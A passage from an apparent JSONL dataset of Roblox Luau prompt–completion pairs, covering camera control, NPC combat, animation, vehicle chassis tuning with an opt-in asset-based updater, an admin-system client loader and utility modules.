Players.LocalPlayer:WaitForChild(\"PlayerScripts\")\n\n\tPlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Default)\n\tPlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Follow)\n\tPlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Classic)\n\n\tPlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Default)\n\tPlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Follow)\n\tPlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Classic)\n\tPlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.CameraToggle)\nend\n\n\nfunction CameraModule.new()\n\tlocal self = setmetatable({},CameraModule)\n\n\t-- Current active controller instances\n\tself.activeCameraController = nil\n\tself.activeOcclusionModule = nil\n\tself.activeTransparencyController = nil\n\tself.activeMouseLockController = nil\n\n\tself.currentComputerCameraMovementMode = nil\n\n\t-- Connections to events\n\tself.cameraSubjectChangedConn = nil\n\tself.cameraTypeChangedConn = nil\n\n\t-- Adds CharacterAdded and CharacterRemoving event handlers for all current players\n\tfor _,player in pairs(Players:GetPlayers()) do\n\t\tself:OnPlayerAdded(player)\n\tend\n\n\t-- Adds CharacterAdded and CharacterRemoving event handlers for all players who join in the future\n\tPlayers.PlayerAdded:Connect(function(player)\n\t\tself:OnPlayerAdded(player)\n\tend)\n\n\tself.activeTransparencyController = TransparencyController.new()\n\tself.activeTransparencyController:Enable(true)\n\n\tif not UserInputService.TouchEnabled then\n\t\tself.activeMouseLockController = MouseLockController.new()\n\t\tlocal toggleEvent = self.activeMouseLockController:GetBindableToggleEvent()\n\t\tif toggleEvent then\n\t\t\ttoggleEvent:Connect(function()\n\t\t\t\tself:OnMouseLockToggled()\n\t\t\tend)\n\t\tend\n\tend\n\n\tself:ActivateCameraController(self:GetCameraControlChoice())\n\tself:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode)\n\tself:OnCurrentCameraChanged() -- Does initializations and makes first camera controller\n\tRunService:BindToRenderStep(\"cameraRenderUpdate\", Enum.RenderPriority.Camera.Value, function(dt) self:Update(dt) end)\n\n\t-- Connect listeners to camera-related properties\n\tfor _, propertyName in pairs(PLAYER_CAMERA_PROPERTIES) do\n\t\tPlayers.LocalPlayer:GetPropertyChangedSignal(propertyName):Connect(function()\n\t\t\tself:OnLocalPlayerCameraPropertyChanged(propertyName)\n\t\tend)\n\tend\n\n\tfor _, propertyName in pairs(USER_GAME_SETTINGS_PROPERTIES) do\n\t\tUserGameSettings:GetPropertyChangedSignal(propertyName):Connect(function()\n\t\t\tself:OnUserGameSettingsPropertyChanged(propertyName)\n\t\tend)\n\tend\n\tgame.Workspace:GetPropertyChangedSignal(\"CurrentCamera\"):Connect(function()\n\t\tself:OnCurrentCameraChanged()\n\tend)\n\n\tself.lastInputType = UserInputService:GetLastInputType()\n\tUserInputService.LastInputTypeChanged:Connect(function(newLastInputType)\n\t\tself.lastInputType = newLastInputType\n\tend)\n\n\treturn self\nend\n\nfunction CameraModule:GetCameraMovementModeFromSettings()\n\tlocal cameraMode = Players.LocalPlayer.CameraMode\n\n\t-- Lock First Person trumps all other settings and forces ClassicCamera\n\tif cameraMode == Enum.CameraMode.LockFirstPerson then\n\t\treturn CameraUtils.ConvertCameraModeEnumToStandard(Enum.ComputerCameraMovementMode.Classic)\n\tend\n\n\tlocal devMode, userMode\n\tif UserInputService.TouchEnabled then\n\t\tdevMode = CameraUtils.ConvertCameraModeEnumToStandard(Players.LocalPlayer.DevTouchCameraMode)\n\t\tuserMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.TouchCameraMovementMode)\n\telse\n\t\tdevMode = CameraUtils.ConvertCameraModeEnumToStandard(Players.LocalPlayer.DevComputerCameraMode)\n\t\tuserMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)\n\tend\n\n\tif devMode == Enum.DevComputerCameraMovementMode.UserChoice then\n\t\t-- Developer is allowing user choice, so user setting is respected\n\t\treturn userMode\n\tend\n\n\treturn devMode\nend\n\nfunction CameraModule:ActivateOcclusionModule(occlusionMode: Enum.DevCameraOcclusionMode)\n\tlocal newModuleCreator\n\tif occlusionMode == Enum.DevCameraOcclusionMode.Zoom then\n\t\tnewModuleCreator = Poppercam\n\telseif occlusionMode == Enum.DevCameraOcclusionMode.Invisicam then\n\t\tnewModuleCreator = Invisicam\n\telse\n\t\twarn(\"CameraScript ActivateOcclusionModule called with unsupported mode\")\n\t\treturn\n\tend\n\n\tself.occlusionMode = occlusionMode\n\n\t-- First check to see if there is actually a change. If the module being requested is already\n\t-- the currently-active solution then just make sure it's enabled and exit early\n\tif self.activeOcclusionModule and self.activeOcclusionModule:GetOcclusionMode() == occlusionMode then\n\t\tif not self.activeOcclusionModule:GetEnabled() then\n\t\t\tself.activeOcclusionModule:Enable(true)\n\t\tend\n\t\treturn\n\tend\n\n\t-- Save a reference to the current active module (may be nil) so that we can disable it if\n\t-- we are successful in activating its replacement\n\tlocal prevOcclusionModule = self.activeOcclusionModule\n\n\t-- If there is no active module, see if the one we need has already been instantiated\n\tself.activeOcclusionModule = instantiatedOcclusionModules[newModuleCreator]\n\n\t-- If the module was not already instantiated and selected above, instantiate it\n\tif not self.activeOcclusionModule then\n\t\tself.activeOcclusionModule = newModuleCreator.new()\n\t\tif self.activeOcclusionModule then\n\t\t\tinstantiatedOcclusionModules[newModuleCreator] = self.activeOcclusionModule\n\t\tend\n\tend\n\n\t-- If we were successful in either selecting or instantiating the module,\n\t-- enable it if it's not already the currently-active enabled module\n\tif self.activeOcclusionModule then\n\t\tlocal newModuleOcclusionMode = self.activeOcclusionModule:GetOcclusionMode()\n\t\t-- Sanity check that the module we selected or instantiated actually supports the desired occlusionMode\n\t\tif newModuleOcclusionMode ~= occlusionMode then\n\t\t\twarn(\"CameraScript ActivateOcclusionModule mismatch: \",self.activeOcclusionModule:GetOcclusionMode(),\"~=\",occlusionMode)\n\t\tend\n\n\t\t-- Deactivate current module if there is one\n\t\tif prevOcclusionModule then\n\t\t\t-- Sanity check that current module is not being replaced by itself (that should have been handled above)\n\t\t\tif prevOcclusionModule ~= self.activeOcclusionModule then\n\t\t\t\tprevOcclusionModule:Enable(false)\n\t\t\telse\n\t\t\t\twarn(\"CameraScript ActivateOcclusionModule failure to detect already running correct module\")\n\t\t\tend\n\t\tend\n\n\t\t-- Occlusion modules need to be initialized with information about characters and cameraSubject\n\t\t-- Invisicam needs the LocalPlayer's character\n\t\t-- Poppercam needs all player characters and the camera subject\n\t\tif occlusionMode == Enum.DevCameraOcclusionMode.Invisicam then\n\t\t\t-- Optimization to only send Invisicam what we know it needs\n\t\t\tif Players.LocalPlayer.Character then\n\t\t\t\tself.activeOcclusionModule:CharacterAdded(Players.LocalPlayer.Character, Players.LocalPlayer )\n\t\t\tend\n\t\telse\n\t\t\t-- When Poppercam is enabled, we send it all existing player characters for its raycast ignore list\n\t\t\tfor _, player in pairs(Players:GetPlayers()) do\n\t\t\t\tif player and player.Character then\n\t\t\t\t\tself.activeOcclusionModule:CharacterAdded(player.Character, player)\n\t\t\t\tend\n\t\t\tend\n\t\t\tself.activeOcclusionModule:OnCameraSubjectChanged(game.Workspace.CurrentCamera.CameraSubject)\n\t\tend\n\n\t\t-- Activate new choice\n\t\tself.activeOcclusionModule:Enable(true)\n\tend\nend\n\nfunction CameraModule:ShouldUseVehicleCamera()\n\tlocal camera = workspace.CurrentCamera\n\tif not camera then\n\t\treturn false\n\tend\n\t\n\tlocal cameraType = camera.CameraType\n\tlocal cameraSubject = camera.CameraSubject\n\t\n\tlocal isEligibleType = cameraType == Enum.CameraType.Custom or cameraType == Enum.CameraType.Follow\n\tlocal isEligibleSubject = cameraSubject and cameraSubject:IsA(\"VehicleSeat\") or false\n\tlocal isEligibleOcclusionMode = self.occlusionMode ~= Enum.DevCameraOcclusionMode.Invisicam\n\n\treturn isEligibleSubject and isEligibleType and isEligibleOcclusionMode\nend\n"} +{"prompt": "-- Mouse\n-- Stephen Leitnick\n-- December 28, 2017", "completion": "\n"} +{"prompt": "--[[\n\tEvent functions\n]]", "completion": "\n\nlocal function onHeartbeat()\n\tif target then\n\t\t-- Point towards the enemy\n\t\tmaid.alignOrientation.Enabled = true\n\t\tmaid.worldAttachment.CFrame = CFrame.new(maid.humanoidRootPart.Position, target.Position)\n\telse\n\t\tmaid.alignOrientation.Enabled = false\n\tend\n\n\tif target then\n\t\tlocal inAttackRange = (target.Position - maid.humanoidRootPart.Position).magnitude <= ATTACK_RANGE + 1\n\n\t\tif inAttackRange then\n\t\t\tif not attacking and tick() - lastAttackTime > ATTACK_DELAY then\n\t\t\t\tattack()\n\t\t\tend\n\t\telse\n\t\t\trunToTarget()\n\t\tend\n\tend\n\n\t-- Check if the current target no longer exists or is not attackable\n\tif not target or not isInstaceAttackable(target) then\n\t\tfindTargets()\n\tend\nend\n\nlocal function died()\n\ttarget = nil\n\tattacking = false\n\tnewTarget = nil\n\tsearchParts = nil\n\tsearchingForTargets = false\n\n\tmaid.heartbeatConnection:Disconnect()\n\n\tmaid.humanoidRootPart.Anchored = true\n\tmaid.deathAnimation:Play()\n\t\n\twait(maid.deathAnimation.Length * 0.65)\n\t\n\tmaid.deathAnimation:Stop()\n\tmaid.humanoidRootPart.Anchored = false\n\n\tif RAGDOLL_ENABLED then\n\t\tRagdoll(maid.instance, maid.humanoid)\n\tend\n\n\tif DESTROY_ON_DEATH then\n\t\tdelay(DEATH_DESTROY_DELAY, function()\n\t\t\tdestroy()\n\t\tend)\n\tend\nend\n"} +{"prompt": "-- declarations", "completion": "\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal jumpAnimTime = 0\nlocal jumpAnimDuration = 0.3\n\nlocal toolTransitionTime = 0.1\nlocal fallTransitionTime = 0.3\nlocal jumpMaxLimbVelocity = 0.75\n"} +{"prompt": "--[[Initialize]]", "completion": "\n\n\tscript.Parent:WaitForChild(\"A-Chassis Interface\")\n\tscript.Parent:WaitForChild(\"Plugins\")\n\tscript.Parent:WaitForChild(\"README\")\n\t\n\tlocal car=script.Parent.Parent\n\tlocal _Tune=require(script.Parent)\n\n\twait(_Tune.LoadDelay)\n\n\t--Update Checker\n\t\n\tif _Tune.AutoUpdate then\n\t\tlocal newModel \n\t\tlocal s,m = pcall(function() newModel = game:GetService(\"InsertService\"):LoadAsset(5181235975) end)\n\t\tif s then\n\t\t\tlocal MinorUpdate = false\n\t\t\tlocal MajorUpdate = false\n\t\t\tlocal ChassisUpdate = false\n\t\t\tlocal lChassis = script.Parent[\"A-Chassis Interface\"].Version.Chassis\n\t\t\tlocal nChassis = newModel[\"A-Chassis 6C by Novena\"][\"A-Chassis Tune\"][\"A-Chassis Interface\"].Version:FindFirstChild(\"Chassis\")\n\t\t\tlocal localVersion = script.Parent[\"A-Chassis Interface\"].Version\n\t\t\tlocal newVersion = newModel[\"A-Chassis 6C by Novena\"][\"A-Chassis Tune\"][\"A-Chassis Interface\"].Version\n\t\t\tif nChassis~=nil then\n\t\t\t\tif lChassis.Value < nChassis.Value then\n\t\t\t\t\tChassisUpdate = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tif localVersion.Value < newVersion.Value or localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then\n\t\t\t\tif localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then\n\t\t\t\t\tMajorUpdate = true\n\t\t\t\telse\n\t\t\t\t\tMinorUpdate = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tif ChassisUpdate then\n\t\t\t\tprint(\"[AC6C]: Chassis update!\"\n\t\t\t\t\t\t..\"\\nA-Chassis 6C has been updated to \"..(nChassis.Value/10)..\".\"\n\t\t\t\t\t\t..\"\\nThe changes cannot be ported due to the update.\"\n\t\t\t\t\t\t..\"\\nYou are advised to update your chassis ASAP.\")\n\t\t\telseif MajorUpdate then\n\t\t\t\tprint(\"[AC6C]: Major update!\"\n\t\t\t\t\t\t..\"\\nA major update to A-Chassis 6C has been found.\"\n\t\t\t\t\t\t..\"\\nThe changes cannot be ported due to the update.\"\n\t\t\t\t\t\t..\"\\nYou are advised to update your chassis ASAP.\")\n\t\t\telseif MinorUpdate then\n\t\t\t\tlocalVersion.Value = newVersion.Value\n\t\t\t\tprint(\"[AC6C]: Drive script update!\"\n\t\t\t\t\t..\"\\nAn update to A-Chassis' Drive script has been found.\"\n\t\t\t\t\t..\"\\nThe updated script will take effect next time you get in.\"\n\t\t\t\t\t..\"\\nYou are advised to update your chassis soon.\")\n\t\t\t\tscript.Parent[\"A-Chassis Interface\"].Drive:Destroy()\n\t\t\t\tnewModel[\"A-Chassis 6C by Novena\"][\"A-Chassis Tune\"][\"A-Chassis Interface\"].Drive.Parent = script.Parent[\"A-Chassis Interface\"]\n\t\t\tend\n\t\t\tnewModel:Destroy()\n\t\tend\n\tend\n\n\t--Weight Scaling\n\tlocal weightScaling = _Tune.WeightScaling\n\n\tlocal Drive=car.Wheels:GetChildren()\n\t\n\t--Remove Existing Mass\n\tfunction DReduce(p)\n\t\tfor i,v in pairs(p:GetChildren())do\n\t\t\tif v:IsA(\"BasePart\") then\n\t\t\t\tif v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end\n\t\t\t\tv.CustomPhysicalProperties = PhysicalProperties.new(\n\t\t\t\t\t0,\n\t\t\t\t\tv.CustomPhysicalProperties.Friction,\n\t\t\t\t\tv.CustomPhysicalProperties.Elasticity,\n\t\t\t\t\tv.CustomPhysicalProperties.FrictionWeight,\n\t\t\t\t\tv.CustomPhysicalProperties.ElasticityWeight\n\t\t\t\t)\n\t\t\t\tv.Massless = true --(LuaInt) but it's just this line\n\t\t\tend\n\t\t\tDReduce(v)\n\t\tend\n\tend\n\tDReduce(car)\n\n\n"} +{"prompt": "--script:Destroy();", "completion": "\nfolder.Parent = nil;\nspawn(function()\n\twait(0.5)\n\tif folder.Parent ~= nil and folder.Parent ~= player then\n\t\tfolder.Parent = nil;\n\tend\nend)\n\n\nif module and module:IsA(\"ModuleScript\") then\n\twarn(\"Loading Folder...\")\n\tlocal nameVal\n\tlocal origName\n\tlocal depsFolder\n\tlocal clientModule\n\t\n\twarn(\"Waiting for Client & Special\")\n\tnameVal = folder:WaitForChild(\"Special\", 30)\n\t\n\twarn(\"Checking Client & Special\")\n\t--callCheck(nameVal)\n\t--callCheck(clientModule)\n\t\n\twarn(\"Getting origName\")\n\torigName = (nameVal and nameVal.Value) or folder.Name\n\twarn(\"Got name: \"..tostring(origName))\n\t\n\twarn(\"Changing child parent...\")\n\tfolder.Parent = nil\n\t\t\n\twarn(\"Destroying parent...\")\n\t\n\tprint(\"Debug: Loading the client?\")\n\tlocal meta = require(module)\n\twarn(\"Got metatable: \"..tostring(meta))\n\tif meta and type(meta) == \"userdata\" and tostring(meta) == \"Adonis\" then\n\t\tlocal ran,ret = pcall(meta,{\n\t\t\tModule = module, \n\t\t\tStart = start,\n\t\t\tLoader = script,\n\t\t\tName = origName, \n\t\t\tLoadingTime = loadingTime,\n\t\t\tCallCheck = callCheck,\n\t\t\tKill = Kill\n\t\t})\n\t\t\t\t\n\t\twarn(\"Got return: \"..tostring(ret))\n\t\tif ret ~= \"SUCCESS\" then\n\t\t\twarn(ret)\n\t\t\tKill(\"ACLI: Loading Error [Bad Module Return]\")\n\t\telse\n\t\t\tprint(\"Debug: The client was found and loaded?\")\n\t\t\twarn(\"Client Loaded\")\n\t\t\t--folder.Parent = nil\n\t\t\t\n\t\t\tif container and container:IsA(\"ScreenGui\") then\n\t\t\t\tcontainer:Destroy();\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\tFired when PreGame is entered, transitioning the server state\n]]", "completion": "\nfunction Transitions.onEnterPreGame(stateMachine, event, from, to)\n\tLogger.trace(\"Server state change: \", from, \" -> \", to)\n\tServerPreGame.enter(stateMachine)\nend\n"} +{"prompt": "--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]]", "completion": "--\nfunction OrbitalCamera:GetCameraToSubjectDistance()\n\treturn self.curDistance\nend\n\nfunction OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance)\n\tprint(\"OrbitalCamera SetCameraToSubjectDistance \",desiredSubjectDistance)\n\tlocal player = PlayersService.LocalPlayer\n\tif player then\n\t\tself.currentSubjectDistance = Util.Clamp(self.minDistance, self.maxDistance, desiredSubjectDistance)\n\n\t\t-- OrbitalCamera is not allowed to go into the first-person range\n\t\tself.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD)\n\tend\n\tself.inFirstPerson = false\n\tself:UpdateMouseBehavior()\n\treturn self.currentSubjectDistance\nend\n\nfunction OrbitalCamera:CalculateNewLookVector(suppliedLookVector, xyRotateVector)\n\tlocal currLookVector = suppliedLookVector or self:GetCameraLookVector()\n\tlocal currPitchAngle = math.asin(currLookVector.y)\n\tlocal yTheta = Util.Clamp(currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG), xyRotateVector.y)\n\tlocal constrainedRotateInput = Vector2.new(xyRotateVector.x, yTheta)\n\tlocal startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)\n\tlocal newLookVector = (CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)).lookVector\n\treturn newLookVector\nend\n\nfunction OrbitalCamera:GetGamepadPan(name, state, input)\n\tif input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\tif self.r3ButtonDown or self.l3ButtonDown then\n\t\t-- R3 or L3 Thumbstick is depressed, right stick controls dolly in/out\n\t\t\tif (input.Position.Y > THUMBSTICK_DEADZONE) then\n\t\t\t\tself.gamepadDollySpeedMultiplier = 0.96\n\t\t\telseif (input.Position.Y < -THUMBSTICK_DEADZONE) then\n\t\t\t\tself.gamepadDollySpeedMultiplier = 1.04\n\t\t\telse\n\t\t\t\tself.gamepadDollySpeedMultiplier = 1.00\n\t\t\tend\n\t\telse\n\t\t\tif state == Enum.UserInputState.Cancel then\n\t\t\t\tself.gamepadPanningCamera = ZERO_VECTOR2\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tlocal inputVector = Vector2.new(input.Position.X, -input.Position.Y)\n\t\t\tif inputVector.magnitude > THUMBSTICK_DEADZONE then\n\t\t\t\tself.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)\n\t\t\telse\n\t\t\t\tself.gamepadPanningCamera = ZERO_VECTOR2\n\t\t\tend\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction OrbitalCamera:DoGamepadZoom(name, state, input)\n\tif input.UserInputType == self.activeGamepad and (input.KeyCode == Enum.KeyCode.ButtonR3 or input.KeyCode == Enum.KeyCode.ButtonL3) then\n\t\tif (state == Enum.UserInputState.Begin) then\n\t\t\tself.r3ButtonDown = input.KeyCode == Enum.KeyCode.ButtonR3\n\t\t\tself.l3ButtonDown = input.KeyCode == Enum.KeyCode.ButtonL3\n\t\telseif (state == Enum.UserInputState.End) then\n\t\t\tif (input.KeyCode == Enum.KeyCode.ButtonR3) then\n\t\t\t\tself.r3ButtonDown = false\n\t\t\telseif (input.KeyCode == Enum.KeyCode.ButtonL3) then\n\t\t\t\tself.l3ButtonDown = false\n\t\t\tend\n\t\t\tif (not self.r3ButtonDown) and (not self.l3ButtonDown) then\n\t\t\t\tself.gamepadDollySpeedMultiplier = 1.00\n\t\t\tend\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction OrbitalCamera:BindGamepadInputActions()\n\tself:BindAction(\"OrbitalCamGamepadPan\", function(name, state, input) return self:GetGamepadPan(name, state, input) end,\n\t\tfalse, Enum.KeyCode.Thumbstick2)\n\tself:BindAction(\"OrbitalCamGamepadZoom\", function(name, state, input) return self:DoGamepadZoom(name, state, input) end,\n\t\tfalse, Enum.KeyCode.ButtonR3, Enum.KeyCode.ButtonL3)\nend\n\n"} +{"prompt": "-- \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSetting this to false should be used with ShowChannelsBar", "completion": "\nmodule.ChannelsBarFullTabSize = 4 -- number of tabs in bar before it starts to scroll\nmodule.MaxChannelNameLength = 12"} +{"prompt": "-- Customization", "completion": "\n\tAntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)\n\t\n\tMouseSense = 0.5;\n\n\tCanAim = true; -- Allows player to aim\n\tCanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)\n\t\n\tLaserAttached = true;\n\tLightAttached = true;\n\tTracerEnabled = true;\n\t\n\tSprintSpeed = 25;\n\t\n\tCanCallout = false;\n\tSuppressCalloutChance = 0;\n"} +{"prompt": "-- Connections", "completion": "\nPlayers.PlayerAdded:Connect(onPlayerAdded)\n"} +{"prompt": "------------------------------------------------------------------------\n-- main number conversion function\n-- * \"^%w$\" needed in the scan in order to detect \"EOZ\"\n------------------------------------------------------------------------", "completion": "\nfunction luaX:read_numeral(ls, Token)\n -- lua_assert(string.find(ls.current, \"%d\"))\n repeat\n self:save_and_next(ls)\n until string.find(ls.current, \"%D\") and ls.current ~= \".\"\n if self:check_next(ls, \"Ee\") then -- 'E'?\n self:check_next(ls, \"+-\") -- optional exponent sign\n end\n while string.find(ls.current, \"^%w$\") or ls.current == \"_\" do\n self:save_and_next(ls)\n end\n self:buffreplace(ls, \".\", ls.decpoint) -- follow locale for decimal point\n local seminfo = self:str2d(ls.buff)\n Token.seminfo = seminfo\n if not seminfo then -- format error?\n self:trydecpoint(ls, Token) -- try to update decimal point separator\n end\nend\n"} +{"prompt": "-- Trove\n-- Stephen Leitnick\n-- October 16, 2021", "completion": "\n\nlocal FN_MARKER = newproxy()\nlocal THREAD_MARKER = newproxy()\n\nlocal RunService = game:GetService(\"RunService\")\n\nlocal function GetObjectCleanupFunction(object, cleanupMethod)\n\tlocal t = typeof(object)\n\tif t == \"function\" then\n\t\treturn FN_MARKER\n\telseif t == \"thread\" then\n\t\treturn THREAD_MARKER\n\tend\n\tif cleanupMethod then\n\t\treturn cleanupMethod\n\tend\n\tif t == \"Instance\" then\n\t\treturn \"Destroy\"\n\telseif t == \"RBXScriptConnection\" then\n\t\treturn \"Disconnect\"\n\telseif t == \"table\" then\n\t\tif typeof(object.Destroy) == \"function\" then\n\t\t\treturn \"Destroy\"\n\t\telseif typeof(object.Disconnect) == \"function\" then\n\t\t\treturn \"Disconnect\"\n\t\tend\n\tend\n\terror(\"Failed to get cleanup function for object \" .. t .. \": \" .. tostring(object), 3)\nend\n\nlocal function AssertPromiseLike(object)\n\tif\n\t\ttypeof(object) ~= \"table\"\n\t\tor typeof(object.getStatus) ~= \"function\"\n\t\tor typeof(object.finally) ~= \"function\"\n\t\tor typeof(object.cancel) ~= \"function\"\n\tthen\n\t\terror(\"Did not receive a Promise as an argument\", 3)\n\tend\nend\n"} +{"prompt": "-- Variables for services", "completion": "\nlocal render = game:GetService(\"RunService\").RenderStepped\nlocal contextActionService = game:GetService(\"ContextActionService\")\nlocal userInputService = game:GetService(\"UserInputService\")\n\nlocal player = game.Players.LocalPlayer\nlocal mouse = player:GetMouse()\nlocal Tool = script.Parent\n"} +{"prompt": "--repeat wait() until Character:FindFirstChild(\"Humanoid\")", "completion": "\nlocal Humanoid = Character:WaitForChild(\"Humanoid\");\n\nlocal LastJump = time();\nHumanoid.Changed:connect(function()\n\tif Humanoid.Jump then\n\t\tif time()-LastJump >= TimeBetweenJumps then\n\t\t\tLastJump = time();\n\t\telse\n\t\t\tHumanoid.Jump = false;\n\t\tend\n\tend\nend)\n\nprint(\"Done\")\n"} +{"prompt": "--// Animations", "completion": "\nlocal L_168_\n\nfunction IdleAnim(L_341_arg1)\n\tL_24_.IdleAnim(L_3_, L_168_, {\n\t\tL_45_,\n\t\tL_46_,\n\t\tL_47_\n\t});\nend;\n\nfunction EquipAnim(L_342_arg1)\n\tL_24_.EquipAnim(L_3_, L_168_, {\n\t\tL_45_\n\t});\nend;\n\nfunction UnequipAnim(L_343_arg1)\n\tL_24_.UnequipAnim(L_3_, L_168_, {\n\t\tL_45_\n\t});\nend;\n\nfunction FireModeAnim(L_344_arg1)\n\tL_24_.FireModeAnim(L_3_, L_168_, {\n\t\tL_45_,\n\t\tL_47_,\n\t\tL_46_,\n\t\tL_58_\n\t});\nend\n\nfunction ReloadAnim(L_345_arg1)\n\tL_24_.ReloadAnim(L_3_, L_168_, {\n\t\tL_45_,\n\t\tL_46_,\n\t\tL_47_,\n\t\tL_61_,\n\t\tL_3_:WaitForChild('Left Arm'),\n\t\tL_58_,\n\t\tL_49_,\n\t\tL_3_:WaitForChild('Right Arm'),\n\t\tL_43_\n\t});\nend;\n\nfunction BoltingBackAnim(L_346_arg1)\n\tL_24_.BoltingBackAnim(L_3_, L_168_, {\n\t\tL_49_\n\t});\nend\n\nfunction BoltingForwardAnim(L_347_arg1)\n\tL_24_.BoltingForwardAnim(L_3_, L_168_, {\n\t\tL_49_\n\t});\nend\n\nfunction BoltingForwardAnim(L_348_arg1)\n\tL_24_.BoltingForwardAnim(L_3_, L_168_, {\n\t\tL_49_\n\t});\nend\n\nfunction BoltBackAnim(L_349_arg1)\n\tL_24_.BoltBackAnim(L_3_, L_168_, {\n\t\tL_49_,\n\t\tL_47_,\n\t\tL_46_,\n\t\tL_45_,\n\t\tL_62_\n\t});\nend\n\nfunction BoltForwardAnim(L_350_arg1)\n\tL_24_.BoltForwardAnim(L_3_, L_168_, {\n\t\tL_49_,\n\t\tL_47_,\n\t\tL_46_,\n\t\tL_45_,\n\t\tL_62_\n\t});\nend\n\nfunction InspectAnim(L_351_arg1)\n\tL_24_.InspectAnim(L_3_, L_168_, {\n\t\tL_47_,\n\t\tL_46_\n\t});\nend\n\nfunction nadeReload(L_352_arg1)\n\tL_24_.nadeReload(L_3_, L_168_, {\n\t\tL_46_,\n\t\tL_47_\n\t});\nend\n\nfunction AttachAnim(L_353_arg1)\n\tL_24_.AttachAnim(L_3_, L_168_, {\n\t\tL_46_,\n\t\tL_47_\n\t});\nend\n\nfunction PatrolAnim(L_354_arg1)\n\tL_24_.PatrolAnim(L_3_, L_168_, {\n\t\tL_46_,\n\t\tL_47_\n\t});\nend\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one\n\tif (runAnimKeyframeHandler ~= nil) then\n\t\trunAnimKeyframeHandler:disconnect()\n\tend\n\t\n\tif (runAnimTrack ~= nil) then\n\t\trunAnimTrack:Stop()\n\t\trunAnimTrack:Destroy()\n\t\trunAnimTrack = nil\n\tend\n\t\n\treturn oldAnim\nend\n\nfunction getHeightScale()\n\tif Humanoid then\n\t\tlocal bodyHeightScale = Humanoid:FindFirstChild(\"BodyHeightScale\")\n\t\tif bodyHeightScale and bodyHeightScale:IsA(\"NumberValue\") then\n\t\t\treturn bodyHeightScale.Value\n\t\tend\n\tend\n\t\n\treturn 1\nend\n\nlocal smallButNotZero = 0.0001\nfunction setRunSpeed(speed)\n\tif speed < 0.33 then\n\t\tcurrentAnimTrack:AdjustWeight(1.0)\t\t\n\t\trunAnimTrack:AdjustWeight(smallButNotZero)\n\telseif speed < 0.66 then\n\t\tlocal weight = ((speed - 0.33) / 0.33)\n\t\tcurrentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)\n\t\trunAnimTrack:AdjustWeight(weight + smallButNotZero)\n\telse\n\t\tcurrentAnimTrack:AdjustWeight(smallButNotZero)\n\t\trunAnimTrack:AdjustWeight(1.0)\n\tend\n\t\n\tlocal speedScaled = speed * 1.25\n\n\tlocal heightScale = getHeightScale()\t\n\t\n\trunAnimTrack:AdjustSpeed(speedScaled / heightScale)\n\tcurrentAnimTrack:AdjustSpeed(speedScaled / heightScale)\nend\n\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tif currentAnim == \"walk\" then\n\t\t\tsetRunSpeed(speed)\n\t\telse\n\t\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\t\tend\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" then\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\tif runAnimTrack.Looped ~= true then\n\t\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\t\tif currentAnimTrack.Looped ~= true then\n\t\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tcurrentAnimTrack.TimePosition = 